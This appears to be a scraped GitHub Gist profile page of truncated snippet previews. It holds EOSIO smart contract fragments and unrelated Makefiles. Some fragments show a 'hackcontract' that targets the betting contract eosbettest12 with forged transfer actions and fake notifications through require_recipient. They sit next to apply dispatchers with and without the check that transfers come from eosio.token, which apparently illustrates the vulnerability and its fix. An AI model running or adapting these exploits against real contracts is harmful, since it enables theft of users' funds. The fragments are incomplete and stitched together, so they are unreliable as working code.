Skip to content

Instantly share code, notes, and snippets.

View quocle108's full-sized avatar

Sunday quocle108

View GitHub Profile
#define EOSIO_ABI_EX( TYPE, MEMBERS )
extern "C" {
void apply( uint64_t receiver, uint64_t code, uint64_t action ) {
auto self = receiver;
if( code == self || code == N(eosio.token) || action == N(onerror) ) {
TYPE thiscontract( self );
switch( action ) {
EOSIO_API( TYPE, MEMBERS )
}
/* does not allow destructor of thiscontract to run: eosio_exit(0); */
class hackcontract : public eosio::contract
{
public:
hackcontract(account_name self) : eosio::contract(self) {}
void hack(account_name self, eosio::asset quantity, std::string memo)
{
eosio::action(
eosio::permission_level{_self, N(active)},
N(eosbettest12),
#define EOSIO_ABI_EX( TYPE, MEMBERS )
extern "C" {
void apply( uint64_t receiver, uint64_t code, uint64_t action ) {
auto self = receiver;
if( code == self || code == N(eosio.token) || action == N(onerror) ) {
if( action == N(transfer)){
eosio_assert( code == N(eosio.token), "Must transfer EOS");
}
TYPE thiscontract( self );
switch( action ) {
class hackcontract : public eosio::contract
{
public:
hackcontract(account_name self) : eosio::contract(self) {}
void transfer(uint64_t sender, uint64_t receiver)
{
require_recipient( N(eosbettest12));
}
};
void transfer(uint64_t sender, uint64_t receiver) {
auto transfer_data = unpack_action_data<st_transfer>();
if (transfer.from == _self || transfer.to != _self ) return;
// store all bet info to table
...
}
extern "C" {
void apply( uint64_t receiver, uint64_t code, uint64_t action ) {
auto self = receiver;
if( code == self || code == N(eosio.token) || action == N(onerror) ) {
if( action == N(transfer)){
eosio_assert( code == N(eosio.token), "Must transfer EOS");
TYPE thiscontract( self );
switch( action ) {
EOSIO_API( TYPE, MEMBERS )
}
class sample : eosio::contract{
public:
sample(account_name account) :eosio::contract(account),_global(_self, _self){}
void freeze(uint64_t frozen) {
require_auth(_self);
_global.set(global_item{frozen}, N(global));
}
// any public actions
# Specify the target file and the install directory
OUTPUTFILE=hello
INSTALLDIR=binaries
# Default target
.PHONY: all
all: $(OUTPUTFILE)
# This rule tells make how to build hello from hello.cpp
#OUTPUTFILE: helloworld.cpp
# Specify extensions of files to delete when cleaning
CLEANEXTS = o a
SOURCES = src/camera.cpp src/screen.cpp src/hardware.cpp
OBJECTS = $(SOURCES:.cpp=.o)
OUTPUTFILE=libhardware.a
INSTALLDIR = ../binaries
#
# Add the include path
#
# Specify the source files, the target files,
# and the install directory
SOURCES = src/gmail.cpp src/googlemap.cpp src/software.cpp
OBJECTS = $(SOURCES:.cpp=.o)
OUTPUTFILE = libsoftware.dylib
INSTALLDIR = ../binaries
CFLAGS=-I include/software
.PHONY: all
all: $(OUTPUTFILE)